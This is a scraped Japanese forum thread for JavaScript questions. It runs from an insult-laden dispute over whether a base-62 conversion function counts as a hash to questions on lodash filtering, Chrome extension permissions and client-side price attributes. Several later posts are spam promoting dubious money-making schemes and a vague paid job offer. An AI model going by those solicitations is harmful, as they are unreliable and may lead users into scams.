頑なにハッシュじゃないって言う奴ってなんなの?
否定されたことがよっぽど悔しいのかな?



561 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:53:00.32 ID:???.net]
>>552
ならなんで62より大きな値が文字になってるの?

562 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:53:30.72 ID:???.net]
いろんなレスでハッシュじゃないってさんざん結論でてる

の間違いだろw.

なんでこんなに必死なんだろ?

563 名前:Name_Not_Found [2015/01/05(月) 02:54:00.65 ID:7Z1vTrX2.net]
あ、質問だからID出しておくわ
自演と思われたら嫌だからな

564 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:54:11.77 ID:???.net]
>>544
> ならなんで62より大きな値が文字になってるの?
基数変換しているからでは?(ハッシュ計算はしてない)

565 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:54:40.48 ID:???.net]
>>555
はたから見てもお前の負けだ、もう諦めろ

566 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:55:18.95 ID:???.net]
>>558
あ、勝利宣言ってやつですね(笑)

よく負けた奴が言う言葉です。

567 名前:Name_Not_Found [2015/01/05(月) 02:56:07.87 ID:7Z1vTrX2.net]
>>557
基数変換を用いるハッシュ法ってあるよね??

568 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:56:23.02 ID:???.net]
>>558
そういうところまで
行動がセオリー通りだなw

569 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:57:12.17 ID:???.net]
>>561
お前さんはとっくに論破されてるのにまだ気付いてないのか

570 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:58:55.55 ID:???.net]
>>560
それはハッシュ計算をした後で基数変換をしているだけだよ。

だから、ライブラリによっては
最終的な表示をバイナリにするか文字にするか、
文字にするなら16進数にするかbase64にするか
決められるわけ。

文字にする変換(基数変換)処理の前段階が、ハッシュ計算という。



571 名前:Name_Not_Found mailto:sage [2015/01/05(月) 02:59:23.72 ID:???.net]
>>562
そういうどうでもいいレスするならいなくていいよ

572 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:00:18.86 ID:???.net]
>>563
その説明はわかりやすいね。

573 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:02:31.45 ID:???.net]
>>564
学歴低そう
理解するためにちゃんと勉強しなさい

574 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:02:38.53 ID:???.net]
質問者も納得したようなのでこれで終了かな。

575 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:02:41.24 ID:???.net]
>>563
この場合、計算されたハッシュはハッシュテーブルでしょ?
やってることはハッシュ化って言えるんじゃないの?

576 名前:Name_Not_Found [2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2.net]
シャッフルテーブルだった
あと568は俺です

577 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:04:42.03 ID:???.net]
>>567
間違ってるのに反論してる気になって終了ですか?

578 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:05:47.34 ID:???.net]
>>568
ハッシュテーブル? shuffleTable のこと?
これは、文字に変換する時に使うための
文字を入れ替えるためだけのもので
前段階のハッシュ計算(存在しないが)には使われてない。

だからコードの順番を変えて基数変換した後に
文字を入れ替えることでも同じ結果が

579 名前:出せる
(=ハッシュ計算で使われてない証拠)
[]
[ここ壊れてます]

580 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:06:57.73 ID:???.net]
>>569
> 569 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2
> シャッフルテーブルだった
> あと568は俺です

ID出したり消したりと自作自演してるから忘れるんだよw



581 名前:Name_Not_Found [2015/01/05(月) 03:08:46.64 ID:7Z1vTrX2.net]
>>571
ん?基数変換を用いたハッシュ法の話だよね?
そこで言うハッシュ計算って具体的に何を示してるの?

582 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:08:58.81 ID:???.net]
560 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 02:56:07.87 ID:7Z1vTrX2
>>557
基数変換を用いるハッシュ法ってあるよね??


562 名前:Name_Not_Found[sage] 投稿日:2015/01/05(月) 02:57:12.17 ID:???
>>561
お前さんはとっくに論破されてるのにまだ気付いてないのか

569 名前:Name_Not_Found[] 投稿日:2015/01/05(月) 03:03:55.33 ID:7Z1vTrX2
シャッフルテーブルだった
あと568は俺です



>>560==>>562だろうなw

583 名前:Name_Not_Found [2015/01/05(月) 03:09:45.06 ID:7Z1vTrX2.net]
>>572
いや、自動でsageるように設定してるだけ

584 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:09:52.98 ID:???.net]
>>573
だからこのcreate62Hashは、ハッシュ計算を何もしていないから
ハッシュではないという話。

ただの基数変換をしているだけ。

585 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:13:35.56 ID:???.net]
>>574
は?違いますけど?
都合が悪くなるとなんでも自演扱いするんだな

586 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:14:56.33 ID:???.net]
>>577
お前はもういいよ。ID:7Z1vTrX2とまじめに会話するからさw

587 名前:Name_Not_Found [2015/01/05(月) 03:15:38.78 ID:7Z1vTrX2.net]
>>576
単なる基数変換じゃないと思うけど。
それなら10進数値の総数がそのまま62進数になるよね?
これは基数変換を用いたハッシュ化だと思う

588 名前:Name_Not_Found [2015/01/05(月) 03:19:48.29 ID:7Z1vTrX2.net]
あ、けど俺はハッシュであろうがなかろうがどうでもいい事なんで。
疑問に思ったから質問してるだけです
もう寝る。レス汚しすまん

589 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:19:50.68 ID:???.net]
>>579
基数変換して、単一換字変換しただけ。

だから単純に数字の順番通りに、文字も変わっていって
簡単に次の文字の予想がつく

16進数で0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F の代わりに
6,7,8,2,3,B,9,0,1,C,4,5,A,D,E,F という順番で
単一換字変換させるのと一緒。

だからハッシュ計算と呼べるものは何もない。

590 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:20:50.83 ID:???.net]
質問者も寝たようなので、これで終わりかな。
じゃあ俺も寝るか。



591 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:21:47.34 ID:???.net]
>>581
お前のハッシュは予想が付いたらハッシュと呼べないのか?
散々言われてるように勉強してこいって

592 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:21:54.32 ID:???.net]
乙。途中荒れたけど、終わりよければ全てよしということでw

593 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:23:11.83 ID:???.net]
477 Name_Not_Found sage New! 2015/01/05(月) 00:46:17.29 ID:??? [0]
暗号学的なhashもあれば、単にデータを区別する値もhashと言うよな


ほんとこれ
否定してる奴はこれを100回読んで理解しろ

594 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:24:42.04 ID:???.net]
はい、逃げた
都合が悪いとなんでも自演扱いして
自分の誤りを認めなれない低脳でしたとさ

595 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:29:16.66 ID:???.net]
思い込みって怖い
間違った反論しかしてなくて、それを正しいと思ってるからたち悪いね
581の頭は一生治らなさそう

596 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:43:17.85 ID:???.net]
まだやってるw 必死だねぇ

597 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:45:00.83 ID:???.net]
>>588
だな
どうしてお前はそんなに必死なんだ?
誤りを認めたくない気持ちはわかるが、そんなんじゃこの先生きていけないぞ

598 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:45:52.45 ID:???.net]
>>589
もしかして誰かと勘違いしてる?

599 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:49:55.21 ID:???.net]
必死に否定してる奴って変な宗教でもやってるのかなぁ
コードも理解できてないし学も無いようだし。。。
親も馬鹿なんだろうね。可哀相

600 名前:Name_Not_Found mailto:sage [2015/01/05(月) 03:55:09.84 ID:???.net]
ばーかばーか



601 名前:Name_Not_Found mailto:sage [2015/01/05(月) 09:49:55.47 ID:???.net]
またはじまったよバカのスレの無駄遣い

602 名前:Name_Not_Found mailto:sage [2015/01/12(月) 08:46:42.62 ID:???.net]
>4位 ルノアール
>i.imgur.com/i6kW2kI.jpg

もっとちんこに響く絵かけねーのかよ

603 名前:Name_Not_Found mailto:sage [2015/01/14(水) 18:38:35.15 ID:???.net]
現行スレ
+ JavaScript の質問用スレッド vol.122 +&amp;#169;2ch.net
peace.2ch.net/test/read.cgi/hp/1420095379/l50

604 名前:Name_Not_Found mailto:sage [2015/01/21(水) 15:13:27.52 ID:???.net]
1から10までの値の入った配列から指定した値から偶数以外の値をランダムで1個取得する方法で
これ以外に違う書き方を教えてください

var a = [1,2,3,4,5,6,7,8,9,10];
var b = [];
for (var i=0; i<10; i++) {
if (i % 2) {
b.push(i);
}
}
console.log(b[Math.floor(Math.random()*b.length)]);

605 名前:Name_Not_Found mailto:sage [2015/01/21(水) 20:07:02.75 ID:???.net]
>>596
1から10は小さい順に10個固定なのか?

そのコードだと

var a = [2,3,4,5,6,7,8,9,10, 1];

時困るだろ?

606 名前:Name_Not_Found mailto:sage [2015/01/21(水) 20:10:26.96 ID:???.net]
あと
var a = [2, 4, 6, 8];

の時どうなるのか? とか、

>>596以外にという以前に>>596があっているのか?

607 名前:Name_Not_Found mailto:sage [2015/01/21(水) 20:52:26.16 ID:???.net]
>>597-598

var a = [2,3,4,5,6,7,8,9,10, 1]; でも僕のコードでは困ってませんが具体的にどのような事で困りますか?
1から10までと提示したのでvar a = [2, 4, 6, 8]; というのは考えないで構いません

608 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:01:55.91 ID:???.net]
奇数しか使わないんだったら最初から奇数の入った配列でよくない?
それとaって使っていないように見えるんだが・・・

609 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:05:52.23 ID:???.net]
あ、すいません


var a = [1,2,3,4,5,6,7,8,9,10];
var b = [];
for (var i=0; i<10; i++) {
if (a[i] % 2) {
b.push(a[i]);
}
}
console.log(b[Math.floor(Math.random()*b.length)])

610 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:06:27.16 ID:???.net]
奇数の配列を用意するために必要な処理です



611 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:17:04.68 ID:???.net]
>>599
あっそ? 困ってないんだw
1から10までのが入った配列固定なんだw

じゃあ、答えは
Math.floor(Math.random()*5)*2+1;
これでいいよ。

配列の中に入っている値が関係なくて
固定なら配列を使う理由もない。

ま、あなたに出された宿題の答えとしては
間違ってるんだけどねw

612 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:19:40.56 ID:???.net]
>>601
ほれみろ。間違ってたじゃねーか

613 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:27:13.17 ID:???.net]
>>603
配列の値をフィルターすることが主体なのでそれは参考になりません

614 名前:Name_Not_Found mailto:sage [2015/01/21(水) 21:28:17.36 ID:???.net]
>>596
lodash使えば簡単

var a = [1,2,3,4,5,6,7,8,9,10];
var b = _.filter(a, function(num){return num % 2});
console.log(_.sample(b));

一行で書くなら

console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], function(num){return num % 2})));

615 名前:606 mailto:sage [2015/01/21(水) 21:34:03.01 ID:???.net]
アロー関数を組み合わせれば更に短く

console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], num => num % 2)));

616 名前:606 mailto:sage [2015/01/21(水) 21:44:15.26 ID:???.net]
filterの所はEMCAScript5を使ったほうがわずかに短いな。
アロー関数を使えるならばEMCAScript5に対応しているはずなので。

console.log(_.sample(_.filter([1,2,3,4,5,6,7,8,9,10], num => num % 2)));
console.log(_.sample([1,2,3,4,5,6,7,8,9,10].filter(num => num % 2)));

617 名前:Name_Not_Found mailto:age [2015/01/22(木) 20:56:05.17 ID:???.net]
lodash 3.0 リリース間近!

https://github.com/lodash/lodash
3.0-preから-preが外れました!


スレが多すぎてどこに書けばいいかわからないので
関連スレすべてにマルチポストしています。m(__)m

618 名前:Name_Not_Found mailto:sage [2015/02/09(月) 02:19:58.77 ID:???.net]
これってできませんでしたっけ?
var test;
test.hoge=0;
昔できたような気がするんだけど

619 名前:Name_Not_Found mailto:sage [2015/02/09(月) 02:25:55.28 ID:???.net]
webaudioapiでmp3をソースにした時に時間を指定してエフェクトをかけるとかできませんか?
例えば1:05の時のアナライザデータ取得とか

620 名前:Name_Not_Found mailto:sage [2015/02/09(月) 12:35:44.68 ID:???.net]
>>610
var test = {};



621 名前:Name_Not_Found mailto:sage [2015/02/09(月) 14:48:39.36 ID:???.net]
>>612
知ってる

622 名前:Name_Not_Found mailto:sage [2015/02/09(月) 15:00:03.74 ID:???.net]
昔できたとしても出来る方がおかしいんだから
そんな書き方しなければいい
はい論破

623 名前:Name_Not_Found mailto:sage [2015/02/09(月) 15:22:10.31 ID:???.net]
ダンガン

624 名前:鴻塔p []
[ここ壊れてます]

625 名前:Name_Not_Found mailto:sage [2015/02/09(月) 16:14:54.10 ID:???.net]
>>610
ECMAScriptの方言のActionScript1.0だと、その書き方でもエラーにならない

626 名前:Name_Not_Found mailto:sage [2015/02/09(月) 16:17:52.61 ID:???.net]
undefinedにプロパティあるのはどう考えてもおかしい
はい論破

627 名前:Name_Not_Found mailto:sage [2015/02/09(月) 16:24:43.36 ID:???.net]
var test = {hoge:0};

これで万事解決

628 名前:Name_Not_Found mailto:sage [2015/02/09(月) 20:44:13.28 ID:???.net]
くるりんぱ

629 名前:Name_Not_Found mailto:sage [2015/02/22(日) 04:43:44.14 ID:???.net]
>>611
kwsk

630 名前:Name_Not_Found [2015/03/29(日) 11:53:58.89 ID:3NHmlbZO.net]
最近趣味でプログラミング始めようとしてドットインストールやりながらプログラミングの入門本を何冊か読んだ、プログラミング専門外糞雑魚初心者なんですが、何で質問スレこんなに過疎ってるんですか?



631 名前:Name_Not_Found mailto:sage [2015/03/29(日) 12:07:05.87 ID:???.net]
自己解決しました。

632 名前:Name_Not_Found mailto:sage [2015/03/29(日) 15:04:07.41 ID:???.net]
みんな自己解決するからです

633 名前:Name_Not_Found mailto:sage [2015/03/29(日) 19:15:26.13 ID:???.net]
>>621
ここは荒らしの立てたスレだからです
荒らしは立てるだけ立てて廃れたら放置するので初めから放置しましょう

+ JavaScript の質問用スレッド vol.123 + [転載禁止]©2ch.net
peace.2ch.net/test/read.cgi/hp/1423915644/

634 名前:Name_Not_Found mailto:sage [2015/03/29(日) 19:24:09.13 ID:???.net]
>>623
ド初心者を脱すればそんなもんですよね

>>624
酷い荒らしですね。そちらのスレに合流させて頂きます。
丁寧に誘導までして頂き有難うございます。

635 名前:Name_Not_Found mailto:sage [2015/04/09(木) 23:41:45.39 ID:???.net]
Javaのバージョンって 1.7とか1.8だけど、
JavaEEのバージョンとの関係が全然解らない。
JavaEE7 はJava 1.7と言う認識で良いの?

636 名前:Name_Not_Found mailto:sage [2015/04/25(土) 12:03:45.83 ID:???.net]
はい現行スレ

+ JavaScript の質問用スレッド vol.124 + [転載禁止]©2ch.net
peace.2ch.net/test/read.cgi/hp/1429873274/l50

637 名前:age mailto:age [2015/08/09(日) 22:47:03.30 ID:???.net]
age

638 名前:Name_Not_Found [2015/08/09(日) 22:58:59.31 ID:j0oC/nR5.net]
>>626
JavaはJavaScriptではありません。

639 名前:Name_Not_Found mailto:sage [2015/08/10(月) 08:18:29.94 ID:???.net]
本スレ

+ JavaScript の質問用スレッド vol.125 + [転載禁止]©2ch.net
peace.2ch.net/test/read.cgi/hp/1436910657/

640 名前:Name_Not_Found [2015/11/07(土) 17:21:17.61 ID:vT73by48.net]
(´・ω・`)



641 名前:Name_Not_Found mailto:sage [2016/02/23(火) 19:00:05.52 ID:???.net]
.
.
板違い(?)の上に、話をさえぎってしまいゴメンナサイ!(*_ _)人
でも、この板のユーザーさんにも有意義な告知かと思うのでカキコませてください。

★ 謝礼は十分いたします ★ アメブロなどのサイト制作ができる方!! 

アメブロなどを使用してのサイト制作のできる方を早急に求めています!
私はリケジョやPC女子からはほど遠く、サイト作成にはまったく疎いのでとても不自由しています…(> <;)
そこで私に代わりサイトを作成してくださる方を求めてこの場をお借りしました。

■サイトの内容…
アダルト系、違法性、その他公序良俗に反するものではありませんのでご安心ください。

■サイト制作の仕様ベース…
アメーバブログで十分です。願わくばwordpressなどのブログ形式のサイトを希望します。
それに準ずるもので使い慣れたものがあれば別のものでも構いません。

■条件はありません…
技術さえお持ちでしたら、学歴・職歴等は一切問いません。
フリーター、ニート、高齢ニート、コミュニケーション障害をお持ちの方、引きこもりの方、中年失業者、長期無職等、歓迎!

■作業形態…
作業は在宅でやって頂くことになりますので、時間の指定は一切ありません。別のお仕事の傍らに…でもOKです。

■詳細をお知りになりたい方は…
下記メールアドレスまでご連絡ください。詳しく書いた返信文を差し上げます。

※真剣な告知です。冷やかしはご遠慮ください。

井 上
inoue1952w★gmail.com
迷惑メール対策のため@部分を★にしてあります。
実際に送信する際には★を@マークに変えてください。
.
.

642 名前:Name_Not_Found mailto:age [2016/02/24(水) 02:41:50.62 ID:???.net]
age

643 名前:Name_Not_Found [2016/03/03(木) 14:30:01.44 ID:KuMGwuid.net]
【超絶】SEO対策済ホームページテンプレート
www.infocart.jp/e/34707/58078/

644 名前:Name_Not_Found mailto:age [2017/01/24(火) 20:20:21.55 ID:???.net]
age

645 名前:Name_Not_Found mailto:age [2017/01/24(火) 20:26:42.45 ID:???.net]
age

646 名前:Name_Not_Found [2017/12/12(火) 05:37:24.41 ID:MrUcGD8N.net]
ホームページで友達が稼げるようになった情報とか

⇒ asaswq3wq.sblo.jp/article/181819223.html

興味がある人だけ見てください。

PJXZX1EV6W

647 名前:Name_Not_Found mailto:sage [2018/02/18(日) 19:08:00.08 ID:???.net]
☆ 日本の、改憲を行いましょう。現在、衆議員と参議院の
両院で、改憲議員が3分の2を超えております。
『憲法改正国民投票法』、でググってみてください。国会の発議は
すでに可能です。平和は勝ち取るものです。お願い致します。☆☆

648 名前:Name_Not_Found [2018/05/01(火) 20:45:37.75 ID:l1wYHpV1.net]
誰でもできる在宅ワーク儲かる方法
少しでも多くの方の役に立ちたいです
グーグルで検索するといいかも『金持ちになりたい 鎌野介メソッド』

FHO84

649 名前:Name_Not_Found [2018/10/02(火) 21:20:04.46 ID:x0gKZze6.net]
【アフィ】元宇宙人のスピリチュアルブログ【詐欺】
https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q12193781232

650 名前:Name_Not_Found mailto:sage [2021/01/22(金) 14:36:11.61 ID:???.net]
はたらくプログラミング 完全版
第3話 変数と条件分岐
https://www.comic-essay.com/episode/read/3323
https://www.comic-essay.com/resize/hataraku/03_1/01.jpg
https://www.comic-essay.com/resize/hataraku/03_1/02.jpg
https://www.comic-essay.com/resize/hataraku/03_1/03.jpg
https://www.comic-essay.com/resize/hataraku/03_1/04.jpg
https://www.comic-essay.com/resize/hataraku/03_1/05.jpg
https://www.comic-essay.com/resize/hataraku/03_1/06.jpg
https://www.comic-essay.com/resize/hataraku/03_1/07.jpg
https://www.comic-essay.com/resize/hataraku/03_1/08.jpg
https://www.comic-essay.com/resize/hataraku/03_1/09.jpg
https://www.comic-essay.com/resize/hataraku/03_1/10.jpg

https://www.comic-essay.com/resize/hataraku/03_1/11.jpg
https://www.comic-essay.com/resize/hataraku/03_1/12.jpg
https://www.comic-essay.com/resize/hataraku/03_1/13.jpg
https://www.comic-essay.com/resize/hataraku/03_1/14.jpg
https://www.comic-essay.com/resize/hataraku/03_1/15.jpg
https://www.comic-essay.com/resize/hataraku/03_1/16.jpg
https://www.comic-essay.com/resize/hataraku/03_1/17.jpg
https://www.comic-essay.com/resize/hataraku/03_1/18.jpg
https://www.comic-essay.com/resize/hataraku/03_1/19.jpg
https://www.comic-essay.com/resize/hataraku/03_1/20.jpg



651 名前:Name_Not_Found mailto:sage [2021/02/18(木) 16:55:01.06 ID:???.net]
今javascriptとnode.jsを勉強してるんですがこの2つだけじゃ身につけにくいプログラミング言語の特徴みたいなのありますか?
型とかポインタ?とかかなと思うんですが

652 名前:Name_Not_Found mailto:sage [2021/04/27(火) 08:13:41.48 ID:???.net]
>>1
+ JavaScript の質問用スレッド vol.141 +
https://mevius.5ch.net/test/read.cgi/hp/1559474974/

653 名前:Name_Not_Found mailto:sage [2021/04/29(木) 11:20:02.03 ID:???.net]
本スレはこっちに移動しました

+ JavaScript の質問用スレッド vol.123 +
https://mevius.5ch.net/test/read.cgi/tech/1491143438/

654 名前:Name_Not_Found mailto:sage [2021/04/29(木) 11:21:47.39 ID:???.net]
>>644
移動してないよ

655 名前:Name_Not_Found mailto:sage [2021/04/29(木) 11:44:05.43 ID:???.net]
古すぎるスレを再利用するな無能
昔は賑わってたから分散を防ぐために1つ1つ潰していく必要があったし
それが美学だったが、もう死んでるスレを掘り起こす意味は無いだろ
さっさと新しく作れ

656 名前:Name_Not_Found mailto:sage [2021/04/29(木) 12:15:52.87 ID:???.net]
>>646
別に死んでないよ
君はこのスレが使われると何か都合が悪いの?

657 名前:Name_Not_Found mailto:sage [2021/04/29(木) 12:30:01.29 ID:???.net]
立てるべきと思うなら立てりゃいい
前スレも再利用だしなんで今更言い出すのか知らんけど

658 名前:Name_Not_Found mailto:sage [2021/04/29(木) 12:41:32.35 ID:???.net]
馬鹿か
1つ、2つ前のスレならまだしも
2014年に建てられたスレをわざわざ掘り起こして再利用するヤツが居るかよ
テンプレだって腐ってんじゃねーか
ここに初めて質問した人にテンプレをまず確認しろという
超超超基本的なことも言えないだろ
下痢カス野郎

659 名前:Name_Not_Found mailto:sage [2021/04/29(木) 12:48:48.95 ID:???.net]
いや立てりゃいいじゃん
前スレ1000行く前に立てりゃ良かったのに

660 名前:Name_Not_Found mailto:sage [2021/04/29(木) 14:22:42.34 ID:???.net]
天才か
そりゃお前の言う通りだよ
オマケに次スレに案内したというところは超評価してるんだよ
でも案内先が地獄じゃねーかって文句一点だろ
いい加減理解しろよトンカチ頭



661 名前:Name_Not_Found mailto:sage [2021/04/29(木) 14:26:08.42 ID:???.net]
いやここで愚痴る間に立てりゃいいじゃん
誰も禁止してない

662 名前:Name_Not_Found mailto:sage [2021/04/29(木) 15:47:01.68 ID:???.net]
NO
俺は建てない
お前は国に不満があったら国を作るのか?
この親不孝者め!

663 名前:Name_Not_Found [2021/06/06(日) 01:19:25.65 ID:+xAn9A0m.net]
Chromeブラウザの機能拡張についてはここで大丈夫でしょうか
自作の機能拡張を作りました。
ローカルから機能拡張をあててローカルに保存されたhtmlに対してだとエラーがでないのですが
ストアに登録して機能拡張あててローカルに保存されたhtmlだとエラーがでます。
manifestは
"permissions": [
"activeTab",
],
です。これだけだと足りないみたいなので"file://*/"を足そうと思うのですが
この対策で妥当ですか?

エラーは
lastError: Cannot access contents of the page. Extension manifest must request permission to access the respective host.
です

よろしくお願いします

664 名前:Name_Not_Found [2021/06/10(木) 01:14:17.45 ID:bwOWBIal.net]
自己解決
"file://*/"の追加はいらない。機能拡張の設定からファイルへのアクセスを許可をONにするでいけました。
ローカルでの機能拡張の場合はデフォルトでONになってる。

665 名前:Name_Not_Found [2021/06/12(土) 08:16:12.41 ID:6jZj6mlh.net]
jsで配列等の初期値は未定義ですか?
配列作成後、各要素にどのような値が入っているか仕様上の保証はありますか?

666 名前:Name_Not_Found [2021/06/12(土) 09:15:32.60 ID:6jZj6mlh.net]
あ、やっぱりいいです

667 名前:Name_Not_Found mailto:sage [2021/06/12(土) 10:50:43.79 ID:???.net]
JSで初期値があるのは宣言された変数のみ
たとえ長さ100のArrayを作ったところで
実際に空の箱が100個用意されるという仕様はない
ただlengthが100に設定された配列オブジェクトができるだけ
それぞれの要素に初期値などは設定されない
オブジェクトの未定義のプロパティにアクセスするとundefinedが帰るという仕様はある
ただしそれはundefinedが入っていることとはベつ

668 名前:Name_Not_Found mailto:sage [2021/06/21(月) 01:24:09.81 ID:???.net]
簡単なアプリを作ったんですがiphoneのみ画像やアイコンが表示されません
windowsやlinuxの色々なブラウザでは問題無しです
よくある原因は何になりますか?

669 名前:Name_Not_Found mailto:sage [2021/06/23(水) 06:28:14.29 ID:???.net]
iPhoneのSafariはmanifest.jsonまだ対応してないの?(クソデカため息)
>>659
これ使え
https://github.com/GoogleChromeLabs/pwacompat

670 名前:Name_Not_Found mailto:sage [2021/06/24(木) 00:36:30.85 ID:???.net]
【環境】Firefox 89.0.2, Chrome 91.0.4472.114
【何をしたのか】具材の一部を選択した後、フォームをリセットする
【エラーメッセージ】なし(input.curryのindeterminateプロパティがtrueのままになる)
【期待する結果】全てのチェックボックスのcheckedプロパティとindeterminateプロパティがfalseになる
【サンプルコード】https://jsfiddle.net/rhyutmL8/



671 名前:Name_Not_Found mailto:sage [2021/06/24(木) 01:57:47.41 ID:???.net]
リセットボタンクリック時に関数実行してクリアすればよくね?

672 名前:659 mailto:sage [2021/06/30(水) 05:33:19.39 ID:???.net]
>>660
遅くなりましたがありがとうございます!

673 名前:Name_Not_Found mailto:sage [2021/07/03(土) 23:36:16.44 ID:???.net]
>> 661
formのresetイベントでindeterminateをfalseにすればええんちゃう

674 名前:Name_Not_Found [2021/07/08(木) 19:19:50.57 ID:b91QYjEM.net]
既出でしたらすみません。
slice()やcharAt()などの文字列メソッドの用途があまり想像できません…。
業務や趣味で使用したことある方いましたらどのように使用したのか教えていただけますでしょうか。

675 名前:Name_Not_Found mailto:sage [2021/07/08(木) 19:55:29.27 ID:???.net]
https://searchfox.org/mozilla-central/search?q=.slice%28&path=
https://searchfox.org/mozilla-central/search?q=.charAt%28&path=

676 名前:Name_Not_Found mailto:sage [2021/07/08(木) 23:18:56.24 ID:???.net]
パース処理するとき使うよ

677 名前:Name_Not_Found mailto:sage [2021/07/09(金) 01:13:27.56 ID:???.net]
Ruby でも同じだけど、文字列処理で使う

678 名前:Name_Not_Found [2021/07/09(金) 21:57:45.16 ID:JB+h5L0S.net]
料金シミュレーションができるサイトで、
リストを選択すると金額がかわるものがあります。

ソースを見ると
<select name="item">
<option data-price="1000" value="1">商品名</option>

のような感じになっており、
選択するとJavascriptでdata-priceの値を取得して
金額を計算する形が多いのですが、
こういう仕組みってセキュリティ的に問題ないのでしょうか?

外部からの送信で金額が書き換わるとか・・・

679 名前:Name_Not_Found mailto:sage [2021/07/09(金) 22:22:41.95 ID:???.net]
>>669
書き換えた結果を誰が見るのかな?

680 名前:Name_Not_Found mailto:sage [2021/07/09(金) 22:35:34.36 ID:???.net]
>>670
安く買いたい人が金額を書き換えるとか、そういう問題起きないですかね?
フォームに金額を設定するタイプの仕様って危険な香りがして・・・



681 名前:Name_Not_Found mailto:sage [2021/07/09(金) 23:00:20.44 ID:???.net]
>>671
常識的には実際に登録する時にサーバはバリデートする
でないとクルーザー100円で買ったよ!なんて事になるから

682 名前:Name_Not_Found mailto:sage [2021/07/09(金) 23:47:15.96 ID:???.net]
自分が書き換えて、自分が見るだけなら、間違っても問題ない。
単に、その人の入力ミスだから

一方、サーバーのデータを書き換えて、大勢の人が見るなら、ヤバイ

サーバー側でもエラーチェックするけど、
例えば、千円を100円に間違ったため、多くの申し込みがあったとかは防げない

サーバー管理者にとって、100円がエラーとは分からないから

683 名前:Name_Not_Found mailto:sage [2021/07/09(金) 23:52:28.68 ID:???.net]
よく起こるのは、通貨・株式取引で、1桁間違ったとか

こういうのは商取引でも、プロの取引に認定されているから、間違った人が悪い。
取引を錯誤などで、キャンセルできない。
取引が絶対に確定される

一方、一般消費者の取引では、錯誤でキャンセルできる。
一般消費者は取引のプロではないから

684 名前:Name_Not_Found mailto:sage [2021/07/10(土) 03:22:04.94 ID:???.net]
>>671
フォームでsubmitされるのはvalue=“1”のほうであってdata-priceじゃない
確認画面では正しい金額で表示される

確認画面の金額もローカルで変更してから
OKボタンを押したところで支払う金額が変更後のものに変わるわけじゃない

685 名前:Name_Not_Found mailto:sage [2021/07/10(土) 09:35:58.56 ID:???.net]
シミュレーションの値段変えて何がしたいの?

686 名前:Name_Not_Found mailto:sage [2021/07/10(土) 10:16:22.71 ID:???.net]
>>671
できるかどうかの前に
故意に書き換えて購入しようとしたら犯罪ちゃうの?という素朴な疑問

687 名前:Name_Not_Found mailto:sage [2021/07/10(土) 11:37:33.72 ID:???.net]
671です。実際に登録が完了する前にバリデーションしたら問題ない
ってのは分かった上で、表面上の金額が変わることに問題ないのか?
という疑問が起きました。
故意に変えたら犯罪ではありますが、
そういう仕様になっているのは設計する側のミスでもあるので。

とりあえず、「操作している人が金額を変えられたとしても
決済時に金額が代わらないなら問題ない」
という解釈をし、HTMLに金額を書いても問題ないと理解しておきます。

688 名前:Name_Not_Found mailto:sage [2021/07/10(土) 11:51:27.44 ID:???.net]
スーパーの値札なんて簡単に入替できるけど
店舗設計者のミスなの?

689 名前:Name_Not_Found mailto:sage [2021/07/10(土) 12:05:19.54 ID:???.net]
カスタムデータ属性で何ができるのか調べればいいのに…
目の付け所が糞過ぎて凄い勉強効率悪そう

690 名前:Name_Not_Found mailto:sage [2021/07/10(土) 12:16:07.44 ID:???.net]
HTMLに金額書かずにどうやって客に金額を提示するんだよw



691 名前:Name_Not_Found mailto:sage [2021/07/10(土) 12:48:42.90 ID:???.net]
書き換えられると困るので、このスーパーではレジのみにて金額の確認をさせていただいております
どうかよろしくご理解ください

692 名前:Name_Not_Found mailto:sage [2021/07/10(土) 13:46:06.72 ID:???.net]
>>681
optionにはidだけ記載して、Ajaxで金額を称号して計算すると思ってました
でも、これならいちいちDBにアクセスするため、効率悪いですよね

693 名前:Name_Not_Found mailto:sage [2021/07/10(土) 14:52:15.79 ID:???.net]
>>683
ajaxで金額を照合して計算したとしても
計算結果の金額をユーザーに提示する必要があるよね

それは何らかの形でHTMLに書かれるわけだから
data-priceに金額を書いてるのと同じで書き換えが可能

